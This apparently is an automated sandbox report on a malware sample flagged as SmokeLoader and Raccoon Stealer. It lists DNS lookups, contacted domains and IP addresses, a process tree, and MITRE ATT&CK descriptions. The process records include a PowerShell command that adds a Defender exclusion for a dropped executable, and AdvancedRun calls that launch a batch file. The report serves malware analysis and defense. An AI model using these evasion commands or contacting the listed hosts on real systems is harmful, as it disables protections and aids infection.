Oct 29, 2021 15:30:54.637330055 CEST	8.8.8.8	192.168.2.7	0x1fa1	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:57.958695889 CEST	8.8.8.8	192.168.2.7	0x790c	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:58.029148102 CEST	8.8.8.8	192.168.2.7	0xcd8b	No error (0)	toptelete.top		172.67.160.46	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:58.029148102 CEST	8.8.8.8	192.168.2.7	0xcd8b	No error (0)	toptelete.top		104.21.9.146	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:00.921565056 CEST	8.8.8.8	192.168.2.7	0x641e	No error (0)	nusurtal4f.net		45.141.84.21	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		116.121.62.237	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		61.255.185.201	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		62.201.235.58	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		189.232.62.153	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		211.119.84.111	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		211.119.84.112	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		211.169.6.249	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		183.100.39.157	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		196.200.111.5	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		190.140.74.43	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.584793091 CEST	8.8.8.8	192.168.2.7	0x9a5c	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.584793091 CEST	8.8.8.8	192.168.2.7	0x9a5c	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.584793091 CEST	8.8.8.8	192.168.2.7	0x9a5c	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.584793091 CEST	8.8.8.8	192.168.2.7	0x9a5c	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.584793091 CEST	8.8.8.8	192.168.2.7	0x9a5c	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.790961027 CEST	8.8.8.8	192.168.2.7	0xbc65	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.790961027 CEST	8.8.8.8	192.168.2.7	0xbc65	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.790961027 CEST	8.8.8.8	192.168.2.7	0xbc65	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.790961027 CEST	8.8.8.8	192.168.2.7	0xbc65	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.790961027 CEST	8.8.8.8	192.168.2.7	0xbc65	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:37.552494049 CEST	8.8.8.8	192.168.2.7	0x2dfd	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:45.156213045 CEST	8.8.8.8	192.168.2.7	0xe6e8	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:51.359935045 CEST	8.8.8.8	192.168.2.7	0x4e45	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:52.015991926 CEST	8.8.8.8	192.168.2.7	0x7e73	No error (0)	mas.to		88.99.75.82	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:54.837757111 CEST	8.8.8.8	192.168.2.7	0x193d	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:55.605962038 CEST	8.8.8.8	192.168.2.7	0xc53b	No error (0)	mas.to		88.99.75.82	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:59.012947083 CEST	8.8.8.8	192.168.2.7	0xa389	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:03.904835939 CEST	8.8.8.8	192.168.2.7	0x199	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:08.407000065 CEST	8.8.8.8	192.168.2.7	0x5645	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:09.135754108 CEST	8.8.8.8	192.168.2.7	0x434f	No error (0)	toptelete.top		104.21.9.146	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:09.135754108 CEST	8.8.8.8	192.168.2.7	0x434f	No error (0)	toptelete.top		172.67.160.46	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:24.480983019 CEST	8.8.8.8	192.168.2.7	0xd7f7	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:25.520663023 CEST	8.8.8.8	192.168.2.7	0x46f	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:32.201045036 CEST	8.8.8.8	192.168.2.7	0xc784	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

bkhtxo.com

hajezey1.top

qucostkxtw.org

privacytoolzforyou-6000.top

kslrhwirq.net

vbyddwsgl.net

ckkawpd.net

qjhggbh.com

yilaxxc.org

mlylmiecm.org

xquhxc.com

lnvqewf.net

xpqaga.net

nxvperioa.net

kclljmjl.org

ifkorrg.com

uknlp.org

agijcahi.org

fqyeks.net

kmpicq.net

nyssomocem.net

wplogk.net

uuiisjmkv.com

siawn.net

vvqdkujnt.net

wogvus.org

alsla.net

bpoitfpcxi.net

ryypml.org

ifklliaybe.net

omliatj.com

sysaheu90.top

ikgpguftl.org

udluixh.org

lbbxr.org

toptelete.top

194.180.174.181

nusurtal4f.net

znpst.top

dkukb.net

193.56.146.214

kvxhgwiwd.org

fqytd.org

dqqtfxwl.org

knanvvmjy.net

fmwfrtbvy.net

ombhsev.com

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: SkB6zJ6H3N.exe PID: 6372 Parent PID: 5472

General

Start time:	15:29:05
Start date:	29/10/2021
Path:	C:\Users\user\Desktop\SkB6zJ6H3N.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SkB6zJ6H3N.exe'
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: SkB6zJ6H3N.exe PID: 6536 Parent PID: 6372

General

Start time:	15:29:09
Start date:	29/10/2021
Path:	C:\Users\user\Desktop\SkB6zJ6H3N.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SkB6zJ6H3N.exe'
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.308080762.0000000001F51000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.307863142.0000000000420000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: explorer.exe PID: 3292 Parent PID: 6536

General

Start time:	15:29:16
Start date:	29/10/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff662bf0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000000.294055792.0000000003111000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: cviueca PID: 6216 Parent PID: 1104

General

Start time:	15:29:51
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\cviueca
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\cviueca
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Analysis Process: 97A5.exe PID: 6264 Parent PID: 3292

General

Start time:	15:29:52
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\97A5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\97A5.exe
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Analysis Process: 97A5.exe PID: 5464 Parent PID: 6264

General

Start time:	15:29:56
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\97A5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\97A5.exe
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000014.00000002.368853755.00000000004A0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000014.00000002.368895221.00000000004E1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: cviueca PID: 6212 Parent PID: 6216

General

Start time:	15:29:57
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\cviueca
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\cviueca
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: cviueca PID: 6504 Parent PID: 1104

General

Start time:	15:30:01
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\cviueca
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\cviueca
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: cviueca PID: 2184 Parent PID: 6504

General

Start time:	15:30:08
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\cviueca
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\cviueca
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001A.00000002.404074560.00000000004F0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001A.00000002.404878363.0000000001F51000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: 5D4.exe PID: 5344 Parent PID: 3292

General

Start time:	15:30:09
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\5D4.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\5D4.exe
Imagebase:	0x3b0000
File size:	512512 bytes
MD5 hash:	F57B28AEC65D4691202B9524F84CC54A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\5D4.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Analysis Process: EDD.exe PID: 6868 Parent PID: 3292

General

Start time:	15:30:11
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\EDD.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\EDD.exe
Imagebase:	0x810000
File size:	22528 bytes
MD5 hash:	787AF677D0C317E8062B9705CB64F951
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\EDD.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	moderate

Analysis Process: 192F.exe PID: 3104 Parent PID: 3292

General

Start time:	15:30:13
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\192F.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\192F.exe
Imagebase:	0x400000
File size:	212992 bytes
MD5 hash:	73252ACB344040DDC5D9CE78A5D3A4C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001D.00000002.419226513.0000000003190000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001D.00000003.402440778.0000000003190000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001D.00000002.419361924.00000000031B1000.00000004.00020000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 80%, ReversingLabs
Reputation:	moderate

Analysis Process: 319A.exe PID: 4024 Parent PID: 3292

General

Start time:	15:30:20
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\319A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\319A.exe
Imagebase:	0xd50000
File size:	161280 bytes
MD5 hash:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\319A.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 43%, ReversingLabs
Reputation:	moderate

Analysis Process: AdvancedRun.exe PID: 4288 Parent PID: 5344

General

Start time:	15:30:22
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	moderate

Analysis Process: 69B5.exe PID: 6140 Parent PID: 3292

General

Start time:	15:30:23
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\69B5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\69B5.exe
Imagebase:	0x400000
File size:	348672 bytes
MD5 hash:	539C39A9565CD4B120E5EB121E45C3C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000021.00000002.450724070.00000000047F1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000021.00000002.449678502.0000000002C10000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Analysis Process: AdvancedRun.exe PID: 5596 Parent PID: 4288

General

Start time:	15:30:27
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /SpecialRun 4101d8 4288
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: 32BC.exe PID: 5540 Parent PID: 3292

General

Start time:	15:30:27
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\32BC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\32BC.exe
Imagebase:	0x400000
File size:	602112 bytes
MD5 hash:	D02C5BF9533CCE0E9EA3EAFC2F594A49
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000024.00000003.442845982.00000000048A0000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Analysis Process: powershell.exe PID: 4756 Parent PID: 5344

General

Start time:	15:30:35
Start date:	29/10/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force
Imagebase:	0x1110000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Analysis Process: conhost.exe PID: 4752 Parent PID: 4756

General

Start time:	15:30:36
Start date:	29/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: RegSvcs.exe PID: 6752 Parent PID: 5344

General

Start time:	15:30:44
Start date:	29/10/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: AdvancedRun.exe PID: 1432 Parent PID: 4024

General

Start time:	15:30:44
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, Metadefender, Browse Detection: 0%, ReversingLabs

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

